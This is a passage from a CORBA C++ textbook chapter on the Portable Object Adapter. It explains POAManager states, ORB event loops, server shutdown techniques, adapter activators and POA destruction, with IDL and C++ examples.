deactivate_object in turn waited until all requests in progress on the object's 
servant completed, the operation would never finish because deactivate_object 
would be deadlocked waiting on the destroy method that invoked it. To avoid the 
potential for deadlock, deactivate_object simply marks the Active Object Map 
entry for deactivation and returns immediately. 
 
After an object is deactivated, it can be reactivated if the application allows it. Should a 
new request arrive for an object that has been deactivated, the POA attempts to locate an 
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ObjectId-to-servant association in its Active Object Map, just as it always does if it 
has the RETAIN policy. If no association is found but the application has registered a 
ServantActivator, the POA invokes it in an attempt to obtain a suitable servant. In 
other words, after an object has been deactivated, the POA acts the same as if it had never 
been activated in the first place. Alternatively, if a request arrives or if the application 
attempts explicit activation while etherealize is still running, reactivation will be 
blocked until the ServantActivator has finished etherealizing the servant. After 
that, reactivation will occur as usual. 
 
Because deactivate_object does not remove the object's entry from the Active 
Object Map until there are no more active requests for that object, a steady stream of 
incoming requests can actually keep the object from being deactivated. This is a side 
effect of allowing the servant to finish its normal processing before deactivation occurs. 
A servant performing such processing may invoke recursive method calls on the object it 
incarnates, and deactivation should not necessarily prevent those method invocations. 
Also, if a servant already has a method in progress when the application calls 
deactivate_object and if that method is blocked waiting for another long-running 
operation to complete, actual deactivation will be blocked until the method in progress 
finishes. You must be aware of these types of situations and be sure that your applications 
do not prematurely delete their servants out from under methods that are still in 
progress. As we recommend in Section 11.7.5, the best way to clean up your servants 
with a RETAIN POA is to use a ServantActivator. 
 
The deactivate_object operation is an important part of the process of destroying 
a CORBA object. After an application deactivates an object, new requests for that object 
either cause reactivation or result in the CORBA::OBJECT_NOT_EXIST exception. 
After your application either raises the OBJECT_NOT_EXIST exception directly for a 
given object or fails to register a servant so that the POA raises it, you must be careful 
never to reincarnate the object. OBJECT_NOT_EXIST is essentially an object death 
certificate—it is intended as a definitive statement that the object is gone for good. 
Remember, because the POA has no persistent state, it is the application, and not the 
POA, that ultimately decides whether a given object still exists. If you raise 
OBJECT_NOT_EXIST for a given object and then later bring it back to life, you will not 
only break the CORBA object model but also cause confusion for your client applications 
and your administrative tools. 
 
We discuss deactivate_object and object destruction issues further in Chapter 
12 when we cover the OMG Life Cycle Service [21]. 

11.10 Request Flow Control 

Our descriptions of servants and servant managers have shown how the POA provides 
applications with a great degree of flexibility in managing their own resources. For 
example, servant managers and default servants enable tight control over the amount of 
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memory devoted to servant storage, allowing applications with many objects to scale 
gracefully. 
 
Another aspect of resource management relates to the rate of requests that a server 
application can handle. As shown in Figure 9.1, each POA has an associated 
POAManager that essentially acts as a faucet or valve that allows you to control the 
flow of requests into the POA. Figure 11.9 illustrates the relationships among an 
application, an ORB, POAManager objects, and POAs. 

Figure 11.9 Relationships among applications, ORBs, POAManagers, and 
POAs. 

 
A single application may actually contain multiple ORB instances if it invokes 
CORBA::ORB_init multiple times with different arguments, but that is atypical and is 
therefore not shown here. In Figure 11.9, the application contains one ORB, and it in 
turn contains a single Root POA. The application has created a hierarchy of child POAs 
descending from the Root POA. It also has two POAManager objects: one for the Root 
POA and some of its descendants and the other for a different set of POAs descended 
from the Root POA. Although we do not show them, each POA typically also has one or 
more servants associated with it. 
 
Applications use the POAManager interface to allow requests to pass into a POA 
unimpeded, to discard or hold requests, or to deactivate all request handling. 
      
module PortableServer { 
   interface POAManager { 
        exception AdapterInactive {}; 
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        enum State { HOLDING, ACTIVE, DISCARDING, INACTIVE }; 
 
        State   get_state(); 
 
        void    activate() raises(AdapterInactive); 
 
        void    hold_requests(in boolean wait_for_completion) 
                    raises(AdapterInactive); 
         
        void    discard_requests(in boolean wait_for_completion) 
                    raises(AdapterInactive); 
         
        void    deactivate( 
                    in boolean  etherealize_objects, 
                    in boolean  wait_for_completion 
                ) raises(AdapterInactive); 
    }; 
     
    // ... 
}; 
 
     
The four operations provided by the POAManager interface (other than the 
get_state operation) correspond to the four possible states of a POAManager object. 
You invoke the activate operation to cause the target POAManager to transition into 
the active state and let requests flow through to the POA or POAs under its control. 
 
You call the hold_requests operation to change the target POAManager into the 
holding state. In this state, the POAManager queues all incoming requests for the POA 
or POAs under its control. The maximum number of requests that a POAManager can 
queue while in the holding state is implementation-dependent. If the POAManager 
reaches its queuing limits, it may discard each request by raising the standard CORBA:: 
TRANSIENT system exception, indicating that the client should retry the request. If the 
wait_for_completion argument to hold_requests is false, the operation 
returns immediately after changing the state of the POAManager. If 
wait_for_completion is true, first the POAManager state is changed to holding, 
and then the operation does not return either until any requests that were already in 
progress complete or the state of the POAManager is changed from the holding state to 
some other state by another thread. 
 
You invoke the discard_requests operation to cause the target POAManager to 
change to the discarding state. This state causes the POAManager to throw each 
incoming request away without queuing it and without delivering it to the target POA; 
instead, it raises the CORBA::TRANSIENT exception back to the client. If the 
wait_for_completion argument to discard_requests is false, the operation 
returns immediately after changing the state of the POAManager. If 
wait_for_completion is true, first the POAManager state is changed to discarding, 
and then the operation does not return until any requests that were already in progress 
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complete or the state of the POAManager is changed from the discarding state to some 
other state by another thread. 
 
You invoke the deactivate operation to change the state of the target POAManager 
to the inactive state. A POAManager in this state is no longer capable of processing 
requests and cannot be reactivated. If new requests arrive for objects in the POA or POAs 
controlled by the inactive POAManager, they are rejected in an implementation-specific 
manner. Some ORBs might raise the standard CORBA::OBJ_ADAPTER system 
exception back to the client, and others might transparently redirect the client ORB to 
another object. Unlike the holding or discarding states, raising CORBA::TRANSIENT 
back to the client is not a good approach because it implies that a retried request might 
reach the target object. As long as the POAManager is in the inactive state, retries will 
not succeed because all requests destined for that POAManager will be rejected. Raising 
CORBA::OBJECT_NOT_EXIST is also unacceptable because the target object may 
very well still exist. The ORB cannot know for sure whether the object still exists 
because it is inaccessible, even to the ORB, because of the inactive state of its 
POAManager. 
 
The get_state operation returns the POAManager's current state. Figure 11.10 
shows a state diagram that illustrates the legal state transitions that a POAManager can 
make. 
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Figure 11.10 POAManager state transition diagram. 

 
A POAManager is associated with a POA at creation time. As shown in Section 11.5, 
the POA::create_POA operation has a reference to a POAManager object as its 
second argument. 
 
If you pass a non-nil reference to a POAManager for this argument, the creation 
operation associates the new POA with that POAManager. This allows you to control 
request flow for multiple POAs via a single POAManager. On the other hand, if this 
argument is a nil reference, the implementation creates a new POAManager along with 
the new POA. Note that if a child POA has a separate POAManager from its parent 
POA, any state changes you apply to the POAManager of the parent POA do not affect 
that of the child and vice versa. 
 
The state diagram in Figure 11.10 shows that newly created POAs begin their lives in 
the holding state. From the holding state they can legally transition to the active, 
discarding, or inactive states. You can transition a POA freely between the holding, 
discarding, and active states. After the state of a POA has been changed to inactive, 
however, the only legal change of state is to destroy it by invoking POA::destroy. In 
any state, except the inactive state, you can transition back to the same state without error. 
The reason that the inactive state is not a temporary state like the others is that ORB 
implementations may use it to perform resource cleanup such as closing network 
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connections. POAManager objects logically represent communications endpoints where 
objects listen for requests. In some ORB implementations, POAManager objects 
encapsulate connections and perform network connection management. When created, 
these POAManager implementations start listening for incoming requests, and when 
they are deactivated, they stop listening and close their connections. 

11.11 ORB Event Handling 

Any CORBA application that acts as a server must listen for and handle events such as 
incoming connections from clients and their subsequent requests. With respect to event 
handling, server applications fall into one of two categories. 
 
In some applications, only the ORB has the need to listen for and handle such events. 
These applications can simply turn the main thread of control over to the ORB so that it 
can handle requests and dispatch them to its object adapters and servants. Such 
applications are said to perform blocking event handling because the application main 
blocks until the ORB shuts down its event handling and returns control to main. 
 
In other applications, the ORB is only one of several components that must perform event 
handling. For example, a CORBA application with a graphical user interface (GUI) must 
allow the GUI to handle windowing events in addition to allowing the ORB to handle 
incoming requests. These types of applications therefore perform non-blocking event 
handling. They turn the main thread of control over to each of the various event-handling 
subsystems while not allowing any of them to block for significant periods of time. 
 
Just as POAManager objects give you control over the request flow for your POAs, the 
ORB provides operations that allow you to control request flow and event handling for 
your whole application, including all object adapters.[1] Following are the definitions of 
these operations. 

[1] Although they are not strictly POA-specific, we cover ORB event-handling issues in this 
chapter because they, like the POA, relate to server applications. 

      
#pragma prefix "omg.org" 
 
module CORBA { 
    interface ORB { 
        void    run(); 
        void    shutdown(in boolean wait_for_completion); 
        boolean work_pending(); 
        void    perform_work(); 
        // ... 
    }; 
    // ... 
}; 
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These operations support both the blocking and the non-blocking varieties of event-
handling applications. The run operation, which is blocking, causes the application to 
start listening for requests. After an application is listening for requests, you can invoke 
shutdown to make it stop listening. For non-blocking event handling, you use 
work_pending and perform_work. We supply details of how each of these 
operations works in the following sections. 
 
If the ORB did not provide such operations, applications would have to individually tell 
each POA or POAManager to listen for requests. This in turn would mean that your 
application main would have to know about all POAs in your application and deal with 
all of them directly. Instead, applications initiate event handling at the ORB level, and it 
delegates to each of its object adapters. 

11.11.1 Blocking Event Handling 

The ORB::run operation blocks until the ORB has shut down. By invoking run from 
the thread executing your application main, you permit the ORB to take over the main 
thread to perform its work. The ORB keeps control of the main thread and does not return 
until after you invoke ORB::shutdown and the ORB completely shuts itself down. 
Invoking run from any other thread merely blocks that thread by making it wait for ORB 
shutdown. 

11.11.2 Non-Blocking Event Handling 

The ORB::run operation suffices for applications that operate correctly when the ORB 
takes over the main thread. For applications that share the main thread with other event 
loops, however, yielding control of the main thread to the ORB is unacceptable. Instead, 
such applications need a way to determine when the ORB requires the main thread to 
perform some work and then to temporarily hand over control of the main thread to the 
ORB to complete that work. 
 
To determine whether the ORB has any work items pending, you call work_pending. 
It returns true if the ORB needs the main thread to perform some work; otherwise, it 
returns false. If work_pending returns true, you can temporarily give control of the 
main thread to the ORB by invoking perform_work. 
       
// The handle_gui_events function allows the user 
// interface to refresh itself and handle its events. 
// It returns true if the user has clicked the 
// "exit" button. 
extern bool handle_gui_events(); 
 
int 
main(int argc, char * argv[]) 
{ 
    CORBA::ORB_var orb = CORBA::ORB_init(argc, argv); 
 
    // Initialize POAs and POAManagers and then activate 
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    // objects (not shown). 
 
    // Enter event loop. 
    bool done = false; 
    while (!done) { 
        if (orb->work_pending()) 
            orb->perform_work(); 
 
        done = handle_gui_events(); 
    } 
    orb->shutdown(1); 
 
    return 0; 
} 
 
      
In this example we use the non-blocking ORB event-handling functions to allow our GUI 
to handle its events as well. After initializing the ORB and POAs and then activating our 
objects, we enter an event loop. In the loop we first call work_pending to see whether 
the ORB has any work items it needs to complete. If work_pending returns true, we 
invoke perform_work to let the ORB do its work. We then call our hypothetical 
handle_gui_events function to let our GUI handle input from the user. If the user 
clicks the GUI's exit button, handle_gui_events returns true, so we exit our event 
loop and shut down our application. 
 
The "size" of the unit of work that the ORB performs is implementationdependent, but it 
could involve activities such as reading an incoming message from a socket or 
dispatching a request to an object adapter. This means that the amount of time that 
perform_work blocks varies from ORB to ORB and potentially from one invocation 
to the next. 
 
Single-threaded CORBA server applications that also have other event loops must use 
work_pending and perform_work as shown in the preceding example. For 
multithreaded applications, however, an alternative to an event loop like this is to invoke 
ORB::run in the main thread and invoke any other event loops for other parts of the 
application in their own separate threads. This approach will not work if the other event 
loops also require the main thread to get their work done, but it is a viable alternative for 
most multithreaded applications. We discuss this issue in more detail in Chapter 21. 

11.11.3 Application Shutdown 

When you want to shut down your application, you invoke ORB::shutdown. It takes a 
single boolean argument that tells it whether to block waiting for all shutdown 
activities to finish or whether it can return before all shutdown work has completed. 
 
Server applications generally shut down in one of three ways. 
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The application can use a time-out approach. If it does not receive any requests within a 
certain amount of time, the application initiates its own shutdown. 
 
The user can force a shutdown by sending a signal to the running application. For 
example, on UNIX the user might generate an interrupt for the server by typing the 
interrupt character (usually Ctrl-C). If the application has a GUI, the user might click a 
button to inform the application to exit. 
 
Another application might invoke some sort of shutdown operation provided by one of 
the application's CORBA objects. 
 
We discuss these approaches in more detail in the following sections. 

Shutdown via Time-Out 

Most ORBs supply a proprietary operation that acts like ORB::run but takes a time-out 
parameter. This parameter typically specifies a time-out period as a number of seconds. If 
the specified amount of time elapses without the application handling any CORBA 
requests, the ORB run time initiates application shutdown. 
 
Because ORB systems are capable of activating server processes when needed (see 
Chapter 21), having a server shut itself down after a time-out has elapsed is quite 
practical. It prevents idle servers from running, thereby needlessly using machine and 
operating system resources, and it helps garbagecollect transient objects. 
 
The time-out approach, however, is not without drawbacks. CORBA does not provide a 
standard time-out-based shutdown operation (and it is not clear that anything like it 
should be standardized), so if you want to shut down your applications based on time-
outs, you must use whatever proprietary functions your ORB vendor gives you. Servers 
that shut down based on time-outs can also cause clients who infrequently issue requests 
to transient objects to occasionally find that their transient objects have unexpectedly 
disappeared. Section 12.7.4 discusses details of how a time-out-based shutdown 
approach affects object life cycles. 

Shutdown via Signals 

If you start your servers from a command line or from a control script, you might want to 
use UNIX signals, Windows console events, or GUI controls to shut them down. Shutting 
down due to a GUI button click is easy because your application receives the shutdown 
notification synchronously, but shutting down due to an asynchronous signal or console 
event is more difficult. 
 
If your application's GUI provides a button for you to click to initiate shutdown, for 
example, the code that runs when you click the button eventually calls 
ORB::shutdown. This approach is easy and straightforward, as we demonstrate with 
the example in Section 11.11.2. 
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The main difficulty with shutting your application down correctly and cleanly when it 
receives a signal lies mostly in non-portability issues with signal handling. This is 
especially true for multithreaded applications. Some operating systems require that you 
establish a single signal-handling thread, whereas others can deliver an asynchronous 
signal to whatever thread is running when the signal arrives. Windows console events are 
somewhat (but not quite) like UNIX signals, making portable signal handling more 
difficult. 
 
Fortunately, some ORBs supply portable signal-handling abstractions that hide the details 
and idiosyncrasies of each platform's signal-handling mechanisms. These services 
generally require you to supply a callback handler function that is invoked when a signal 
typically used to kill a process (such as SIGINT and SIGTERM) or a console event 
arrives. You can write your handler function to initiate ORB shutdown, as shown here: 
        
// File-static ORB reference. 
static CORBA::ORB_var orb; 
 
// Signal-handling function. 
static void 
async_handler() 
{ 
    if (!CORBA::is_nil(orb)) 
        orb->shutdown(0); 
} 
 
int 
main(int argc, char * argv[]) 
{ 
    // First set up our asynchronous signal handler. 
    TerminationHandler::set_handler(async_handler); 
 
    // Initialize the ORB. 
    orb = CORBA::ORB_init(argc, argv); 
 
    // ... 
} 
 
       
We pass a pointer to the async_handler function to our proprietary 
TerminationHandler::set_handler function to register async_handler as 
the callback to handle signal events. We then code the rest of the main as usual. 
 
Note that in the async_handler function we call ORB::shutdown with a false (0) 
argument. This is to avoid blocking the handler function by making it wait for all requests 
currently in progress to finish, then for all object adapters to shut down, and finally for 
the ORB itself to shut down. For portability reasons, your handler functions should 
perform as little work as possible because some operating systems limit the types of 
activities that signal handlers are allowed to perform. 
 
We recommend using these abstractions if the ORB you use provides them. However, 
beware that if code in your application already makes extensive use of signals, these 
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proprietary signal-handling abstractions may not work for you. Even worse, your ORB 
may not supply such an abstraction. If it does not, you should ask your ORB vendor how 
it recommends that you deal with portable signal-initiated ORB shutdown. 

Shutdown via CORBA Requests 

The third approach to shutting down server applications involves sending a shutdown 
request to an object in the server. Such an object might have an interface like the 
following: 
        
interface ProcessTerminator { 
    void shutdown(); 
}; 
 
       
Only one such object is needed per process, so you might add a shutdown operation to 
some other object's interface rather than create a whole new interface for it. For example, 
for our CCS server, we could make shutdown part of the Controller interface. 
The body of the shutdown method would look much like that of our signalhandling 
code from the preceding section: 
        
void 
MyProcessTerminator:: 
shutdown() throw(CORBA::SystemException) 
{ 
    orb->shutdown(0); 
} 
 
       
In this case, we are required to pass a false (0) value to ORB::shutdown to avoid 
deadlock. If we passed a true value, ORB::shutdown would try to wait for all requests 
to complete before returning, but because we are calling it from within a request, we 
would be blocking it from returning. 
 
This approach looks simple enough, but it has several drawbacks. 
 
Initiating ORB shutdown causes the ORB to shut down all its object adapters. This means 
that all client connections will be closed, including the one to the client that invoked this 
request. This in turn might mean that the connection will be closed before the ORB sends 
the response, and that will cause the client ORB to raise a CORBA::COMM_FAILURE 
exception. 
 
You can alleviate this problem in some cases by declaring the 
ProcessTerminator::shutdown operation as oneway to let the client ORB run 
time know that it should not expect a response (see Section 4.12). However, oneway 
is highly dependent on the underlying transport and protocol, and, in some cases, a full 
round-trip request-response cannot be avoided. For example, in the OMG standard 
Distributed Computing Environment Common Inter-ORB Protocol (DCE-CIOP), a 
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oneway is implemented as a standard, round-trip DCE RPC because DCE does not 
support oneway semantics. 
 
The client invoking ProcessTerminator::shutdown cannot know what other 
clients might be using the server. If another client is in the middle of a multirequest 
transaction, for example, the client might not appreciate your shutting the server down 
before it finishes. 
 
Despite these problems, you might find this technique useful for servers that you want to 
control using a single network management application. 

Application Shutdown Versus ORB Shutdown 

The three approaches described in the previous sections for shutting down an application 
all suffer from the same problem: they assume that "application" and "ORB" are 
synonymous. In other words, they fail to account for the fact that a single application can 
contain multiple ORB instances (created by calling ORB_init multiple times with 
different arguments). In a multi-ORB application, just because you initiate shutdown for 
one ORB does not mean that you cause the whole application to shut down. 
 
For a multi-ORB application, you must use a non-blocking event-handling loop that calls 
ORB::work_pending and ORB::perform_work on each ORB. This technique 
allows each ORB to use the main thread to perform work as required. Rather than have 
signal handlers or application-specific shutdown methods invoke ORB::shutdown, 
they could instead set a flag to mark the fact that the application should shut itself down. 
This flag can then be checked from within the event loop. If the event loop notices that 
the flag is set, it can exit and allow clean-up code to initiate shutdown for each ORB 
instance. 

11.12 POA Activation 

Like servants, POAs can be created on demand. This technique can be useful for 
applications that have POAs whose objects are rarely invoked. POA activation occurs 
when a request arrives for an object in a descendant POA that has not yet been created or 
when the application searches a hierarchy of POAs using the POA::find_POA 
operation for a named POA that has not yet been created. The application registers an 
AdapterActivator with each POA that must activate its descendant POAs. 
      
module PortableServer { 
    interface AdapterActivator { 
        boolean unknown_adapter(in POA parent, in string name); 
    }; 
    // ... 
}; 
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Adapter activators are normal CORBA objects, so they are incarnated via servants. A 
C++ servant for an adapter activator derives from the 
POA_PortableServer::AdapterActivator skeleton. 
      
#include <poaS.hh> 
 
class ExampleAdapterActivator : 
    public virtual POA_PortableServer::AdapterActivator 
{ 
public: 
    ExampleAdapterActivator() {} 
    virtual ~ExampleAdapterActivator() {} 
 
    virtual CORBA::Boolean unknown_adapter( 
                               PortableServer::POA_ptr parent, 
                               const char *          name 
                           ) throw(CORBA::SystemException); 
private: 
    // copy not supported 
    ExampleAdapterActivator(const ExampleAdapterActivator &); 
    void operator=(const ExampleAdapterActivator &); 
}; 
 
     
The only interesting member function of this servant class is the unknown_adapter 
function. It takes a reference to the POA that will be the parent of the POA being 
activated, along with the name of the new POA. 
      
CORBA::Boolean 
ExampleAdapterActivator:: 
unknown_adapter( 
    PortableServer::POA_ptr parent, 
    const char *            name 
) throw(CORBA::SystemException) 
{ 
    CORBA::Boolean return_val = 0; 
 
    if (strcmp(name, "child") == 0) { 
        // Create a PERSISTENT LifespanPolicy object. 
        PortableServer::LifespanPolicy_var lifespan = 
            parent->create_lifespan_policy( 
                        PortableServer::PERSISTENT 
                    ); 
 
        // Create PolicyList. 
        CORBA::PolicyList policies; 
        policies.length(1); 
        policies[0] = 
        PortableServer::LifespanPolicy::_duplicate(lifespan); 
 
        // Use the parent's POAManager. 
        PortableServer::POAManager_var poa_mgr = 
            parent->the_POAManager(); 
  
        // Create the child POA. 
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        try { 
            PortableServer::POA_var child = 
                parent->create_POA("child", poa_mgr, policies); 
            return_val = 1; 
        } 
        catch(const PortableServer::POA::AdapterAlreadyExists &) { 
            // Do nothing, return_val already set to 0. 
        } 
        catch(const PortableServer::POA::InvalidPolicy &) { 
            abort();  // design error 
        } 
   
        // Destroy our LifespanPolicy object. 
        lifespan->destroy(); 
    } 
    return return_val; 
} 
 
     
Adapter activators have only the name of the child POA to be created, as well as the 
name of the parent POA and its ancestors, by which to decide whether to create the POA. 
The reference to the parent POA can be used to request its name via the 
POA::the_name read-only attribute, which returns a string containing the parent's 
name. References to ancestors of the parent POA can be obtained using the 
POA::the_parent read-only attribute. 
 
Our example code checks that the name of the child POA to be activated is "child" and, 
if it is, proceeds to create the POA. We first create a POA policy list consisting of the 
PERSISTENT life span policy so that we can create the child as a persistent POA. We 
then obtain a reference to the POAManager object of the parent POA to have the child 
share it. Finally, we invoke create_POA on the parent POA. We perform the creation 
within a try block to catch the nonsystem exceptions that create_POA can raise 
because unknown_adapter is not allowed to raise any user-defined exceptions. 
 
This example also raises an interesting issue related to request flow control. If we were to 
create our child POA without using an adapter activator and if the POA contained objects 
that had been previously created, we could find that those objects were being invoked 
before our application was finished initializing the new POA. The problem originates in 
the fact that we are using the parent POA's POAManager for our child POA as well. If 
that POAManager is in the active state when we pass it to create_POA, it will let 
requests flow into the child POA immediately upon its creation. If we wanted to install a 
servant manager or default servant on the new child POA, we might be out of luck. 
 
Using an adapter activator prevents this problem because while the adapter activator is 
running, all requests for objects in the POA being activated are queued. As with the 
queues managed within a POAManager implementation, the size of this queue is 
implementation-dependent. Another way to prevent this problem is to explicitly transition 
the POAManager into the holding state before passing it to create_POA and then to 
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change it back to active afterward. This approach can be somewhat tedious, however, and 
it can cause unexpected problems if you forget either POAManager state transition. 
You set an adapter activator on a POA using the POA::the_activator attribute. 
      
// Create our AdapterActivator object. 
ExampleAdapterActivator adapter_activator_servant; 
PortableServer::AdapterActivator_var adapter_activator = 
    adapter_activator_servant._this(); 
 
// Make it the AdapterActivator of our Root POA. 
root_poa->the_activator(adapter_activator); 
 
     
Our example creates the AdapterActivator object as a transient object using 
implicit object creation and activation via the servant's _this member function. 
Because AdapterActivator objects must be local to the process in which they 
activate POAs, creating them as transient objects imposes no practical limitations on their 
use. A single AdapterActivator can be registered with multiple POAs 
simultaneously. 
 
As with all software, the requirements for server applications tend to change over time. 
An application that starts out using one or two POAs might end up needing ten, twenty, 
or even more, depending on how many different types of CORBA objects the application 
supports and on how it uses POA features such as servant managers and default servants. 
We therefore recommend that at a minimum, whether or not you initially use adapter 
activators, you write all your POA creation code so that it is easy to invoke from an 
adapter activator. Better yet, you should always use adapter activators to create POAs 
even if you employ find_POA invocations to explicitly cause the necessary POAs to be 
created. This technique helps avoid the POAManager race conditions described earlier. 
 
The following example shows how the POA hierarchy shown in Figure 11.6 can be 
created using a different implementation of our ExampleAdapterActivator. 
      
CORBA::Boolean 
ExampleAdapterActivator:: 
unknown_adapter( 
    PortableServer::POA_ptr parent, 
    const char *            name 
) throw(CORBA::SystemException) 
{ 
    CORBA::Boolean install_adapter_activator = 0; 
    CORBA::PolicyList policies; 
 
    // Obtain our own object reference. 
    PortableServer::AdapterActivator_var me = _this(); 
 
    if (strcmp(name, "A") == 0) { 
        // Create policies for POA A (not shown). 
    } else if (strcmp(name, "B") == 0) { 
        // Create policies for POA B (not shown). 
        install_adapter_activator = 1; 
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    } else if (strcmp(name, "C") == 0) { 
        // Create policies for POA C (not shown). 
    } else if (strcmp(name, "D") == 0) { 
        // Create policies for POA D (not shown). 
        install_adapter_activator = 1; 
    } else if (strcmp(name, "E") == 0) { 
        // Create policies for POA E (not shown). 
    } else { 
        // Unknown POA. 
        return 0; 
    } 
 
    // Use the parent's POAManager for all POAs. 
    PortableServer::POAManager_var poa_mgr = 
        parent->the_POAManager(); 
   
    // Create the child POA. 
    try { 
        PortableServer::POA_var child = 
            parent->create_POA(name, poa_mgr, policies); 
        if (install_adapter_activator) 
            child->the_activator(me); 
    } catch(const PortableServer::POA::AdapterAlreadyExists &) { 
        return 0; 
    } catch(const PortableServer::POA::InvalidPolicy &) { 
        abort();  // design error 
    } 
   
    return 1; 
} 
 
     
We first compare the name of the POA being activated against all known POA names to 
set up the correct policies for that POA. If the POA name is unknown, we do not activate 
a POA and instead return 0. Assuming that a valid name was passed to us, we retrieve the 
POAManager from the parent POA and pass it, along with the name of the new POA 
and its policies, to create_POA. As before, we catch the non-system exceptions that 
create_POA can throw because unknown_adapter is not allowed to raise them. 
Because they have child POAs, POA "B" and POA "D" each require an adapter activator 
as well, so we install our ExampleAdapterActivator for them if the 
install_adapter_activator flag is set to true. 
 
Our server main can use find_POA to explicitly force this adapter activator to run. It 
must ensure that it invokes find_POA in the right order to ensure that the POA 
hierarchy gets set up as desired. 
      
int 
main(int argc, char * argv[]) 
{ 
    // Initialize the ORB. 
 
    CORBA::ORB_var orb = CORBA::ORB_init(argc, argv); 
    // Obtain a reference to the Root POA. 
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    CORBA::Object_var obj = 
        orb->resolve_initial_references("RootPOA"); 
    PortableServer::POA_var root_poa =  
        PortableServer::POA::_narrow(obj); 
 
    // Install our AdapterActivator. 
    ExampleAdapterActivator aa_servant; 
    PortableServer::AdapterActivator_var aa = 
        aa_servant._this(); 
    root_poa->the_activator(aa); 
 
    // Create POA A. 
    PortableServer::POA_var poa_a = root_poa->find_POA("A", 1); 
 
    // Create POA B. 
    PortableServer::POA_var poa_b = root_poa->find_POA("B", 1); 
 
    // Create POA C. 
    PortableServer::POA_var poa_c = root_poa->find_POA("C", 1); 
 
    // Create POA D. 
    PortableServer::POA_var poa_d = poa_b->find_POA("D", 1); 
 
    // Create POA E. 
    PortableServer::POA_var poa_e = poa_d->find_POA("E", 1); 
 
    // Activate our POAManager. 
    PortableServer::POAManager_var mgr = 
        root_poa->the_POAManager(); 
    mgr->activate(); 
 
    // Let the ORB listen for requests. 
    orb->run(); 
 
    return 0; 
} 
 
     
We initialize the ORB and obtain a reference to the Root POA as usual. We then create a 
servant for the AdapterActivator and implicitly create a transient CORBA object 
from it. After the AdapterActivator is registered with the Root POA, we invoke 
find_POA for POAs "A", "B", "C", "D", and "E" to force them into existence. The 
second argument to find_POA is a Boolean that tells it to attempt to activate the POA if 
it is not found. We then activate the POAManager of the Root POA, which, because of 
the work of the ExampleAdapterActivator servant, is also shared by POAs "A", 
"B", "C", "D", and "E". Finally, we let our ORB run so that it will allow requests into our 
server. 
 
Although we did not activate our POAManager until after our POAs had been created, 
we could have done it beforehand just the same, and the presence of the 
AdapterActivator would have ensured that any requests for any POA being created 
were queued until the POA was properly initialized. 
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This approach to POA creation keeps all your creation code in one spot rather than being 
scattered about your application. It also allows you to easily create POAs explicitly via 
find_POA or allows them to be created on demand as requests for their objects arrive. 

11.13 POA Destruction 

Eventually, POAs must be destroyed, usually because of an imminent shutdown of the 
ORB and the death of the server application process. However, POAs are not destroyed 
only at application shutdown. For example, an application that intends to remain alive 
might keep track of all the objects hosted by a given POA and then destroy that POA 
after all the objects previously created within it have been destroyed. 
 
You destroy a POA using the POA::destroy operation. Invoking it on a POA also 
destroys all its descendant POAs. Any requests that are already being processed by 
objects within a POA being destroyed are allowed to complete, and any new requests will 
cause any parent POA adapter activators to be invoked, if present, or will result in a 
CORBA::OBJECT_NOT_EXIST exception being raised back to the client. 
      
module PortableServer { 
    interface POA { 
        void destroy(in boolean etherealize_objects, 
                     in boolean wait_for_completion); 
        // ... 
    }; 
    // ... 
}; 
 
     
The etherealize_objects parameter controls whether the POA takes action to 
also destroy any servants registered with it. This parameter is meaningful only if the POA 
has the RETAIN value for the ServantRetention policy and has a servant manager 
registered with it. If these conditions are true and if etherealize_objects is also 
true, the POA first effectively destroys itself and then invokes etherealize on the 
servant manager for each servant registered in its Active Object Map. The fact that the 
POA marks itself as destroyed first is important to ensure that any servants that attempt 
operations on the POA during their own etherealization receive a 
CORBA::OBJECT_NOT_EXIST exception. 
 
wait_for_completion, the second parameter to destroy, determines whether the 
operation waits for all requests currently in progress to finish. If true, it causes destroy to 
return after waiting for all requests already in progress to complete and for all servants to 
be etherealized. If wait_for_completion is false, the POA and its descendant 
POAs are simply destroyed, and the operation returns. Note that any requests in progress 
are still allowed to complete and any necessary etherealization of servants is carried out 
regardless of the value of the wait_for_completion parameter; it controls only 
whether or not destroy waits for these actions to complete before it returns to the caller. 
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Unlike a POA whose POAManager has been transitioned into the inactive state, which 
cannot be reactivated, a previously destroyed POA can be re-created in the same process. 
This is because a POA is essentially a container for object-to-servant associations and 
normally does not encapsulate network resources as a POAManager can. Destroying a 
POA therefore destroys object-to-servant associations without necessarily shutting down 
or invalidating communications resources used by the application. 
 
POA destruction can cause problems for applications that have poorly configured POA 
hierarchies. For example, if a parent POA has a ServantActivator that is an object 
registered with one of its child POAs, servant etherealization will be unable to complete 
correctly. Because the child POA hosting the ServantActivator is destroyed before 
its parent, the parent becomes unable to use the ServantActivator to etherealize its 
servants. POA implementations cannot detect this problem, so it is up to you to avoid 
creating this type of situation in your applications. 

11.14 Applying POA Policies 

The number of POAs in your application and the policies you choose for each one 
depend on several factors. Some of them are as follows: 
The number of objects your application intends to support 
Expected rates and durations of requests 
The underlying persistent store, if any, required by your objects 
The level of resources and services supplied by the computer and operating system 
hosting your application 
Any non-CORBA software your application must wrap or otherwise interact with 
 
Some aspects of the distributed domain in which your application runs, especially if the 
ability to relocate objects into other servers in that domain is desired 
 
We have left some of these factors vague for now, but we discuss details concerning each 
of them in the following sections. Note that we initially ignore the differences between 
persistent and transient CORBA objects because many POA issues do not depend on the 
value of the LifespanPolicy. We focus on issues related to POAs for persistent and 
transient objects in Section 11.14.5. 

11.14.1 Multithreading Issues 

A fundamental choice you must make for your applications is whether they are single-
threaded or multithreaded. This choice depends on several details, including the 
following: 
 
Whether the underlying operating system and C++ language run time provide adequate 
multithreading support 
The threading requirements of your ORB implementation 
The tools you have available for debugging multithreaded applications 
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Your levels of expertise and experience in creating and maintaining multithreaded 
applications 
The capacity of any third-party libraries used in your application to work properly in a 
multithreaded environment 
 
If your operating system, C++ language run time, or ORB does not support applications 
running in multithreaded environments, you must choose to make your applications 
single-threaded. Beware, however, that not all ORB implementations support both single- 
and multithreaded operation; some of them support only one or the other but not both. 
Also, not all ORBs adequately support applications that simultaneously act as both client 
and server. Such ORBs do not listen for incoming requests while the application is 
waiting for a response to a request it has made on another server. You must consult with 
your ORB documentation to determine the level of support your ORB provides for 
singlethreaded and multithreaded applications. 
 
The threading choice you make for the whole application determines the values of the 
ThreadPolicy that you can meaningfully apply to your POAs. For example, making 
an application single-threaded disallows concurrent request processing even when a POA 
is created with the ORB_CTRL_MODEL value for its ThreadPolicy. 
 
Even if multithreading support is available, you might still wish to use a POA with the 
SINGLE_THREAD_MODEL value for the ThreadPolicy. If your servant 
